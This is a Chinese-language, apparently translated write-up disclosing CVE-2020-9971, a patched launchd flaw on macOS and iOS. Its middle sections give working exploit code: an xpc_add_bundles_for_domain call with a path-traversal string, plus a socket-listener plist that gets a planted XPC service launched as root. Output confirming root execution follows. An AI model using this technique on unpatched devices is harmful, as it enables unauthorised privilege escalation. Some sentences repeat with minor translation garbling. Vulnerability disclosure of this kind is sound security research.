0x0 简介
在这篇博客中,我将详细介绍我在管理XPC服务时,在launchd进程中发现的一个有趣的逻辑漏洞,它很容易被利用,并且100%稳定地获得macOS/iOS的高权限。这个漏洞很容易被利用,而且100%稳定,可以在macOS/iOS中获得高权限。因为 launchd 是操作系统中最基本和最重要的组件,即使在最严格的应用沙盒中,这个漏洞也会发挥作用。该漏洞应该在macOS Big Sur和iOS 13.5之前就能使用。
0x1 XPC服务
XPC 服务是主应用程序捆绑包的 Contents/XPCServices 目录下的一个捆绑包。你可能不知道它,但它在操作系统中是非常常用的。
下面是一个XPC服务在FaceTime应用程序中的例子。
XPC 服务由 launchd 管理,并为单个应用程序提供服务。它们通常用于将一个应用程序划分为更小的部分。这样可以通过限制某个进程崩溃时的影响来提高可靠性,也可以通过限制某个进程被破坏时的影响来提高安全性。
这里的XPC Service应该与众所周知的LaunchDaemon和LaunchAgent区别开来。相对于全系统的LaunchDaemon和全登录用户的LaunchAgent,XPC Service是全进程的服务,只能由指定的应用程序启动和调用。
从macOS开发者的角度来看,在Xcode中添加一个XPC服务到项目中是非常容易的。
0x2 启动进程域
如前所述,XPC服务是由launchd管理的。launchd是如何将XPC服务限制在指定的进程中的呢?答案是 launchd 进程域。
进程域就像一个命名空间,存储了所有的XPC Service信息,这些信息只能由其所有者进程获取和修改。
当一个进程想要启动一个XPC Service时,launchd应该从它的进程域中找到并启动该服务。
我们可以用 launchctl 命令输出指定 PID 的进程域信息。
如:launchctl print pid/129
更多关于launchd域名的信息可以从saelo的优秀演讲bits_of_launchd中找到。
0x3 漏洞
关于进程域,launchctl用法有这样的描述。
"只有拥有该域的进程才可以修改它。即使是root也不能这样做。"
这个假设是有道理的,因为一个进程域应该只有它的所有者进程才能使用。如果一个进程可以修改其他进程的域,它就可以控制该进程的运行行为。这种能力将是非常危险的。
他们真的如他们所说的那样做了吗?
如果我们可以在一个根进程的域中添加一个自定义的XPC服务,XPC服务可能会以该进程的权限启动。
在launchd中,每个域类型都有其访问检查功能。
让我们来看看在大苏尔之前的macOS中,试图向进程域添加XPC Service时的进程域访问检查。
访问检查不比较呼叫者pid和进程域的所有者pid。有三种可能的情况可以绕过访问检查。
添加的XPC服务存在于目标进程的子目录中。
调用者用户是root。
sandbox_check_by_audit_token("forbidden-launchd-control", SANDBOX_CHECK_NO_REPORT) == 0。
如果我们能够满足其中任何一个条件,我们就可以在进程域中添加一个XPC服务。
对于条件3,使用api sandbox_check_by_audit_token来检查带有这个audit_token的进程是否在沙盒中,如果不在,就会返回0。也就是说,不在沙盒中的进程可以在其他进程域中添加自定义XPC服务。
对于条件1,如何检查进程的子目录中是否有XPC服务。
代码语言:javascript复制bool __fastcall sub_10000B440(char *a1, char *a2)
{
size_t v2; // rax
v2 = strlen(a2);
return strncmp(a1, a2, v2) == 0;
}
这段代码只是检查字符串的起始部分,所以它可能会受到路径遍历问题的影响。
如果我们可以向这个访问检查函数传递一个包含./的路径,我们就可以绕过检查,即使在最受限制的应用程序沙盒中也可以将自定义的XPC服务添加到进程域中。
0x4 漏洞
到目前为止,我们已经知道,我们可能会在其他进程域中添加一个自定义的XPC服务。我们将利用它来提升权限。
首先,我们需要找到一个可用的目标进程域。
在macOS中,有很多root权限的进程都有进程域。在这里,我使用了/usr/sbin/systemsoundserverd。
我们可以用命令行来输出域名信息:sudo launchctl print pid/308
代码语言:javascript复制com.apple.xpc.launchd.domain.pid.systemsoundserverd.308 = {
type = process
handle = 308
active count = 11
on-demand count = 1
service count = 10
active service count = 0
activity ratio = 0.00
originator = /usr/sbin
creator = systemsoundserv.308
creator euid = 0
uniqueid = 308
external activation count = 0
security context = {
uid unset
asid = 100000
}
...
}
对于开发者来说,不需要显式的创建进程域,也不需要将XPC服务添加到域中去,libxpc框架会隐式的为我们完成所有初始化阶段的工作。在初始化阶段,libxpc框架会隐式的为我们做所有的工作,但是在libxpc.com中仍然有一个api xpc_add_bundles_for_domain。
然而,在libxpc.dylib中仍然有一个api xpc_add_bundles_for_domain,可以用来添加XPC服务到指定的进程域。当然,你也可以使用低级别的XPC消息,甚至是MACH消息,通过bootstrap端口与launchd进行通信。
在这里,我试图通过路径遍历的问题,将一个放置在exploit应用程序同一目录下的自定义XPC服务添加到一个systemsoundserverd进程域中。
代码语言:javascript复制xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(pid_dict, "pid", 308); // target process domain
NSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];
NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath];
xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);
xpc_object_t paths = xpc_array_create(&xpc_bundle, 1); // XPC Services path
xpc_add_bundles_for_domain(pid_dict, paths);
完成后,我们可以在目标进程域输出XPC服务信息。
launchctl print pid/308/com.r3df09.test.testXPC
产出是:
代码语言:javascript复制com.r3df09.test.testXPC = {
active count = 0
copy count = 0
one shot = 0
path = /Users/r3df09/Desktop/testXPC.xpc
state = waiting
bundle id = com.r3df09.test.testXPC
bundle version = 1
program = /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
inherited environment = {
PATH => /usr/bin:/bin:/usr/sbin:/sbin
}
...
}
我们可以看到,我们的XPC服务被添加到systemsoundserverd的进程域。
但是,我们的工作还没有完成!
这个XPC服务的状态是等待,暂时没有启动!
XPC服务是 "按需启动 "的。只有当一个应用程序创建了与服务的连接并向其发送消息时,它们才会被启动。
虽然我们可以在一个根进程域中添加一个自定义的XPC服务,但是我们无法控制该根进程使用我们的服务。
我们需要找到一个可行的方法来启动它!
从man launchd.plist中,我们知道一个服务可以监视一个文件路径或者监听一个socket。
在这里,我通过在XPC服务的plist文件中添加Sockets信息,让XPC服务监听一个socket端口。
代码语言:javascript复制<key>LaunchProperties</key>
<dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>9999</string>
<key>SockType</key>
<string>stream</string>
</dict>
</dict>
</dict>
<key>XPCService</key>
<dict>
<key>ServiceType</key>
<string>Application</string>
</dict>
我们可以看我们的自定义XPC服务在9999端口监听。
代码语言:javascript复制com.r3df09.test.testXPC = {
...
sockets = {
"Listeners" = {
type = stream
service name = 9999
sockets = {
40 (no bytes to read)
45 (no bytes to read)
}
active = 0
passive = 1
bonjour = 0
ipv4v6 = 0
receive_packet_info = 0
}
}
...
}
我们也可以通过launchd检查网络端口9999是否处于监听状态。
代码语言:javascript复制Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 *.9999 *.* LISTEN
tcp6 0 0 *.9999 *.* LISTEN
udp4 0 0 *.* *.*
udp4 0 0 *.56124 *.*
任何对这个套接字端口的连接都会使 launchd 进程以 root 权限启动我们的 XPC 服务。
代码语言:javascript复制r3df09@r3df09s-Mac ~ % ps -A | grep test
638 ?? 0:00.01 /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
643 ttys000 0:00.00 grep test
r3df09@r3df09s-Mac ~ % ps -p 638 -o uid,pid
UID PID
0 638
0x5 苹果的补丁
要修复这个漏洞并不难,只要保证只有进程域的所有者才能修改就可以了。
为了做到这一点,launchd进程域访问检查函数现在获取调用者进程的audit_token,并始终检查调用者pid是目标进程域的所有者。
0x6 关于iOS
上面讲的主要是基于macOS的。我知道大多数人都比较关心iOS。
iOS和macOS几乎共享相同的launchd代码。所以,iOS上确实存在这个漏洞,它也存在路径遍历的问题。
在我向苹果公司报告了这个漏洞后,他们立即秘密更改了iOS 13.5中获取XPC服务路径的方法。
在iOS 13.5之前,它使用xpc_bundle_get_path来获取XPC Service的路径。这个api会返回原来的输入路径包含.../
从iOS 13.5开始,他们把这个api改成了属性类型为2的xpc_bundle_get_property,这个api会返回XPC Service的真实路径,而不包含./。这个改变试图禁止使用路径遍历问题来绕过访问检查。如果XPC Service在目标进程的子目录下,仍然允许将XPC Service添加到其他进程域。
从iOS 14.0开始,他们终于开始检查调用者进程是否是进程域的所有者。
虽然在iOS中,开发者是不允许直接使用XPC Service的。苹果自己在很多高权限进程中使用它。
不难找到一些有用的目标。比如,/usr/sbin/wifid或者/usr/sbin/mediaserverd 。
顺便说一下,关于这个漏洞的信息最近在2020年12月15日添加到iOS 14.0安全内容中。
0x7 结束语
对于开发者和普通用户来说,XPC服务很容易开发和使用。它对我们来说几乎是透明的。但是,它的内部机制如此复杂,一定有很多有趣的逻辑bug存在。
参考文献:
https://xlab.tencent.com/en/2021/01/11/cve-2020-9971-abusing-xpc-service-to-elevate-privilege/